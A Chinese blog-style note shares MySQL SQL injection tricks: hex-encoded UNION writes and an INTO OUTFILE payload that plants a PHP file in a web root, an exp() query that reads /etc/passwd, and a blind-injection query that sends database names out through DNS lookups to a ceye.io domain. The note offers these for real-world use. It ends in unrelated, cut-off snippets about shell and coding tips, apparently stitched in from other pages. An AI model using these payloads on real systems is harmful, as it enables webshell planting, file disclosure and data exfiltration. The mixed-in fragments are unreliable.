今天終於在表哥的幫助下解決了檔案匯入/出這個問題了。(很菜逼的乙個問題),然後將最近看到的文章都自己測試了下,順便奉上記錄。
1.mysql資料庫支援union的時候寫檔案小技巧:
採用常規的union寫入,可以看到前面的字段佔位數肯定也會被寫入,替換成null也是一樣的結果,這個對於寫shell沒啥大礙,
但是如果用來寫bat,mof,vbs等檔案就會出問題了,那麼怎麼去掉這個只寫入我們需要的內容呢?採用hex編碼就好了。
將我們要寫入的內容使用hex編碼在分段寫在每個字段位上,這樣就可以只寫入我們需要的內容了。
2.不支援union的時候寫入,很多人都不知道這個辦法,以為要寫入內容必須要支援union,看到一篇文章,可以不需要支援這個辦法。
語法:select * from admin where id=1 into outfile 『f:\www\phpinfo.php』 fields terminated by 『 phpinfo(); ?>』%23
可以看到成功寫入,但是這個方法有乙個弊病就是查詢出來的資料必須大於或等於2以上才可以寫入內容,寫入的內容數=查詢出來的資料-1
可以看到,當我們使前面的資料出錯查不到資料的時候,寫入是失敗的。
看看sqlmap中的情況:
可以很明顯的看到sqlmap中也有這種辦法寫入。(burp抓取sqlmap資料報:加上 --proxy "" 在burp裡可以看到請求)
當然可以看到也通過了常規的union寫入檔案。
同時附上乙個函式exp()。通過這個函式也可以讀取檔案,但是寫檔案只能寫入乙個內容為0的檔案,這裡就必須結合其他的漏洞利用了,如:檔案覆蓋之類的。
讀檔案:
select exp(~(select*from(select load_file('/etc/passwd'))a));
寫檔案:
select exp(~(select*from(select 'hello')a)) into outfile 'c:/out.txt'; //但是只能寫乙個0進去。
3.關於使用dns解析來讓盲注更加簡單。
首先看下load_file()這個函式,這個函式可以用來傳送dns解析請求。
然後使用類似的語句:select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);
即可成功將database()解析到網域名稱的dns前面。前提是支援讀檔案許可權,這個在實戰中佔的比列大概只有%30左右吧。
還有就是命令執行同時也支援的,如:
實戰中也類似這個道理。在可能存在命令執行的地方,ping+網域名稱,或許就能檢視到是否執行了。
本來是自己寫的word作為記錄儲存的,順便和大家分享下。
相關資料:
... injection%20attacks
---恢復內容結束---
shell小知識小技巧
1 local config config 1,如果沒有第乙個引數,那麼config netowk 2 字串可以用 來比較 數字可以用 來比較 3 shell函式傳引數的時候,local var1 hello local var2 word 傳這兩個引數到shell函式 fun shell寫成 fu...
寫程式碼小技巧!
相信會點進來的,都是想看看對你能有多少幫助吧?恭喜你被騙了 誤 其實做很多事情都一樣,有些人就是有天分,而大部分人則要靠後天。我也是後者,這邊提供幾個小技巧,提供各位參考。先思考程式架構,要怎麼完成,需要懂那些東西等等的。這個比較天馬行空,需要自己多思考 將要寫的功能做區塊化,簡單來說就是分成幾段程...
幾個shell小技巧
1.expr 命令 由於bash 是功能有限的直譯器,所以自身並沒有支援太多的算術運算,一切都是字串。所以如果涉及到算術運算,需要借助其他的工具,比如bc 功能比較強大的小工具 expr 和 算術擴充套件.expr 支援幾個常見的算術運算 取模 expr還支援常見的關係運算,比如 題外話 如果要想計...